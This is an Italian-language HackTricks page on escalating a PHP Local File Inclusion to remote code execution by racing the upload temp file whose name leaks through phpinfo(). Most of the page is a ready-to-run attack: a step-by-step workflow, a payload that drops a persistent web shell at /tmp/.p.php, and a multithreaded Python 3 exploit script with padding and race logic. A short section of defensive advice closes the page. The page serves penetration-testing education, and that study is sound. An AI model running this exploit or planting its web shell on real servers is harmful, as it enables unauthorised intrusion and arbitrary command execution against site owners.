LFI a RCE tramite PHPInfo

Tip

Impara e pratica il hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Impara e pratica il hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporta HackTricks

Per sfruttare questa tecnica hai bisogno di tutti i seguenti elementi:

  • Una pagina raggiungibile che stampa l’output di phpinfo().
  • Una primitiva Local File Inclusion (LFI) che controlli (es., include/require su input utente).
  • Upload di file PHP abilitati (file_uploads = On). Qualsiasi script PHP accetterà upload multipart RFC1867 e creerà un file temporaneo per ogni parte caricata.
  • Il worker PHP deve poter scrivere nella directory configurata upload_tmp_dir (o nella directory temp di sistema di default) e la tua LFI deve poter includere quel percorso.

Classic write-up and original PoC:

  • Whitepaper: LFI with PHPInfo() Assistance (B. Moore, 2011)
  • Original PoC script name: phpinfolfi.py (see whitepaper and mirrors)

Tutorial HTB: https://www.youtube.com/watch?v=rs4zEwONzzk&t=600s

Note sul PoC originale

  • L’output di phpinfo() è HTML-encoded, quindi la freccia “=>” spesso appare come “=>”. Se riusi script legacy, assicurati che cerchino entrambe le codifiche quando parsano il valore _FILES[tmp_name].
  • Devi adattare il payload (il tuo codice PHP), REQ1 (la request all’endpoint phpinfo() inclusiva di padding) e LFIREQ (la request al tuo sink LFI). Alcuni target non necessitano di un terminatore null-byte (%00) e le versioni moderne di PHP non lo rispetteranno. Adatta di conseguenza LFIREQ al sink vulnerabile.

Esempio sed (solo se usi davvero il vecchio PoC in Python2) per corrispondere alla freccia codificata in HTML:

sed -i 's/\[tmp_name\] =>/\[tmp_name\] =>/g' phpinfolfi.py

Teoria

  • Quando PHP riceve un multipart/form-data POST con un campo file, scrive il contenuto in un file temporaneo (upload_tmp_dir o il default del SO) ed espone il percorso in $_FILES[‘’][‘tmp_name’]. Il file viene rimosso automaticamente alla fine della richiesta a meno che non venga spostato/rinominato.
  • Il trucco è scoprire il nome temporaneo e includerlo tramite il tuo LFI prima che PHP lo elimini. phpinfo() stampa $_FILES, incluso tmp_name.
  • Gonfiando header/parametri della richiesta (padding) puoi causare che i primi chunk dell’output di phpinfo() vengano flushati al client prima che la richiesta finisca, così puoi leggere tmp_name mentre il file temporaneo esiste ancora e poi colpire immediatamente l’LFI con quel percorso.

In Windows i file temporanei si trovano comunemente in qualcosa come C:\Windows\Temp\php*.tmp. In Linux/Unix sono di solito in /tmp o nella directory configurata in upload_tmp_dir.

What to verify in phpinfo() before racing

  • file_uploads: deve essere On.
  • upload_tmp_dir: se impostato, questa è la directory che il tuo LFI deve poter includere. Se vuoto, aspettati la directory temporanea di sistema di default.
  • open_basedir: se abilitato, il percorso vulnerabile di include deve comunque poter raggiungere la directory temporanea mostrata in tmp_name.
  • output_buffering: 4096 è una dimensione comune/di default ed è il motivo per cui molti PoC leggono in chunk da 4KB, ma questo valore può variare.
  • zlib.output_compression, output_handler, e qualsiasi buffering a livello di framework: riducono la probabilità di vedere tmp_name abbastanza presto.
  • Server API: utile per capire quanto buffering possa esserci tra PHP e te (apache2handler è di solito più facile da ragionare rispetto a fpm-fcgi dietro un reverse proxy).

Se la pagina non mostra $_FILES, assicurati di inviare davvero una richiesta multipart/form-data con una parte file reale. PHP popola tmp_name solo per i campi di upload che sono stati parsati.

Attack workflow (step by step)

  1. Prepare a tiny PHP payload that persists a shell quickly to avoid losing the race (writing a file is generally faster than waiting for a reverse shell):
<?php file_put_contents('/tmp/.p.php', '<?php system($_GET["x"]); ?>');
  1. Invia un grande POST multipart direttamente alla pagina phpinfo() in modo che venga creato un file temporaneo che contenga il tuo payload. Gonfia vari headers/cookies/params con ~5–10KB di padding per favorire l’output anticipato. Assicurati che il nome del campo del form corrisponda a quello che parserai in $_FILES.

  2. Mentre la risposta di phpinfo() è ancora in streaming, analizza il body parziale per estrarre $_FILES[‘’][‘tmp_name’] (HTML-encoded). Non appena hai il percorso assoluto completo (es., /tmp/php3Fz9aB), esegui il tuo LFI per includere quel percorso. Se include() esegue il file temporaneo prima che venga eliminato, il tuo payload viene eseguito e deposita /tmp/.p.php.

  3. Usa il file creato: GET /vuln.php?include=/tmp/.p.php&x=id (o dovunque il tuo LFI permetta di includerlo) per eseguire comandi in modo affidabile.

Suggerimenti

  • Usa più worker concorrenti per aumentare le probabilità di vincere la race.
  • Piazzamenti del padding che spesso aiutano: URL parameter, Cookie, User-Agent, Accept-Language, Pragma. Adatta per target.
  • Se la sink vulnerabile appende un’estensione (es., .php), non serve un null byte; include() eseguirà PHP indipendentemente dall’estensione del file temporaneo.

PoC Python 3 minimo (basato su socket)

Lo snippet qui sotto si concentra sulle parti critiche ed è più facile da adattare rispetto allo script legacy Python2. Personalizza HOST, PHPSCRIPT (phpinfo endpoint), LFIPATH (path to the LFI sink), e PAYLOAD.

#!/usr/bin/env python3
import re, html, socket, threading

HOST = 'target.local'
PORT = 80
PHPSCRIPT = '/phpinfo.php'
LFIPATH = '/vuln.php?file=%s'  # sprintf-style where %s will be the tmp path
THREADS = 10

PAYLOAD = (
"<?php file_put_contents('/tmp/.p.php', '<?php system($_GET[\\"x\\"]); ?>'); ?>\r\n"
)
BOUND = '---------------------------7dbff1ded0714'
PADDING = 'A' * 6000
REQ1_DATA = (f"{BOUND}\r\n"
f"Content-Disposition: form-data; name=\"f\"; filename=\"a.txt\"\r\n"
f"Content-Type: text/plain\r\n\r\n{PAYLOAD}{BOUND}--\r\n")

REQ1 = (f"POST {PHPSCRIPT}?a={PADDING} HTTP/1.1\r\n"
f"Host: {HOST}\r\nCookie: sid={PADDING}; o={PADDING}\r\n"
f"User-Agent: {PADDING}\r\nAccept-Language: {PADDING}\r\nPragma: {PADDING}\r\n"
f"Content-Type: multipart/form-data; boundary={BOUND}\r\n"
f"Content-Length: {len(REQ1_DATA)}\r\n\r\n{REQ1_DATA}")

LFI = ("GET " + LFIPATH + " HTTP/1.1\r\nHost: %s\r\nConnection: close\r\n\r\n")

pat = re.compile(r"\\[tmp_name\\]\\s*=&gt;\\s*([^\\s<]+)")


def race_once():
s1 = socket.socket()
s2 = socket.socket()
s1.connect((HOST, PORT))
s2.connect((HOST, PORT))
s1.sendall(REQ1.encode())
buf = b''
tmp = None
while True:
chunk = s1.recv(4096)
if not chunk:
break
buf += chunk
m = pat.search(html.unescape(buf.decode(errors='ignore')))
if m:
tmp = m.group(1)
break
ok = False
if tmp:
req = (LFI % tmp).encode() % HOST.encode()
s2.sendall(req)
r = s2.recv(4096)
ok = b'.p.php' in r or b'HTTP/1.1 200' in r
s1.close(); s2.close()
return ok

if __name__ == '__main__':
hit = False
def worker():
nonlocal_hit = False
while not hit and not nonlocal_hit:
nonlocal_hit = race_once()
if nonlocal_hit:
print('[+] Won the race, payload dropped as /tmp/.p.php')
exit(0)
ts = [threading.Thread(target=worker) for _ in range(THREADS)]
[t.start() for t in ts]
[t.join() for t in ts]

Risoluzione dei problemi

  • You never see tmp_name: Assicurati di effettuare realmente un POST multipart/form-data a phpinfo(). phpinfo() stampa $_FILES solo quando era presente un campo di upload.
  • tmp_name appears only at the very end of the response: Questo è di solito un problema di buffering, non di versione di PHP. Valori elevati di output_buffering, zlib.output_compression, handler di output userland, o buffering del reverse-proxy/FastCGI possono ritardare il corpo di phpinfo() fino a quando la richiesta di upload è quasi terminata.
  • You only get reliable streaming in a lab, not through the real site: Un CDN, WAF o reverse proxy può fare buffering della risposta upstream. Se hai più percorsi verso la stessa app, preferisci il percorso origin più diretto.
  • The classic 4096-byte offset logic misses the leak: Considera 4096 come punto di partenza derivato dai default comuni di output_buffering, non come una costante universale. Parsifica in modo incrementale e fermati non appena tmp_name è completo.
  • The temp file is included but your shell dies immediately: Usa un tiny stager che scriva un secondo file, perché il file temporaneo caricato verrà comunque cancellato quando la richiesta originale termina.
  • Output doesn’t flush early: Aumenta il padding, aggiungi header grandi o invia più richieste concorrenti. Alcuni SAPIs/buffer non svuotano fino a soglie maggiori; adatta di conseguenza.
  • LFI path blocked by open_basedir or chroot: Devi puntare l’LFI a un percorso consentito o passare a un diverso vettore LFI2RCE.
  • Temp directory not /tmp: phpinfo() stampa il percorso tmp_name assoluto completo; usa esattamente quel percorso nell’LFI.

Note pratiche per stack moderni

  • Questa tecnica è ancora riproducibile in ambienti di laboratorio moderni; per esempio, Vulhub mantiene un demonstrator su PHP 7.2. In pratica, il successo tende a dipendere più dal buffering di output e dal proxying che da una specifica patch di phpinfo.
  • flush() e implicit_flush influenzano solo il layer di output interno di PHP. Non garantiscono che un gateway FastCGI, un reverse proxy, un browser o un intermediario rilascino immediatamente chunk parziali.
  • Se il target è fpm-fcgi dietro proxy Nginx/Apache, pensa a strati: buffer PHP, handler/compresione di output PHP, buffering FastCGI, poi buffering del proxy. La race funziona solo se abbastanza della risposta phpinfo() sfugge a quella catena prima che la chiusura della richiesta cancelli il file temporaneo.

Note difensive

  • Non esporre mai phpinfo() in produzione. Se necessario, restringi per IP/auth e rimuovilo dopo l’uso.
  • Mantieni file_uploads disabilitato se non richiesto. Altrimenti, restringi upload_tmp_dir a un percorso non raggiungibile da include() nell’applicazione e applica una validazione rigorosa su qualsiasi percorso di include/require.
  • Considera ogni LFI come critico; anche senza phpinfo(), esistono altre vie LFI→RCE.

Tecniche HackTricks correlate

LFI2RCE Via temp file uploads

LFI2RCE via PHP_SESSION_UPLOAD_PROGRESS

LFI2RCE via Nginx temp files

LFI2RCE via Eternal waiting

Riferimenti

  • LFI With PHPInfo() Assistance whitepaper (2011) – Packet Storm mirror: https://packetstormsecurity.com/files/download/104825/LFI_With_PHPInfo_Assitance.pdf
  • PHP Manual – POST method uploads: https://www.php.net/manual/en/features.file-upload.post-method.php
  • PHP Manual – Flushing System Buffers: https://www.php.net/manual/en/outcontrol.flushing-system-buffers.php
  • Vulhub – PHP Local File Inclusion RCE with PHPINFO: https://github.com/vulhub/vulhub/blob/master/php/inclusion/README.md

Tip

Impara e pratica il hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Impara e pratica il hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporta HackTricks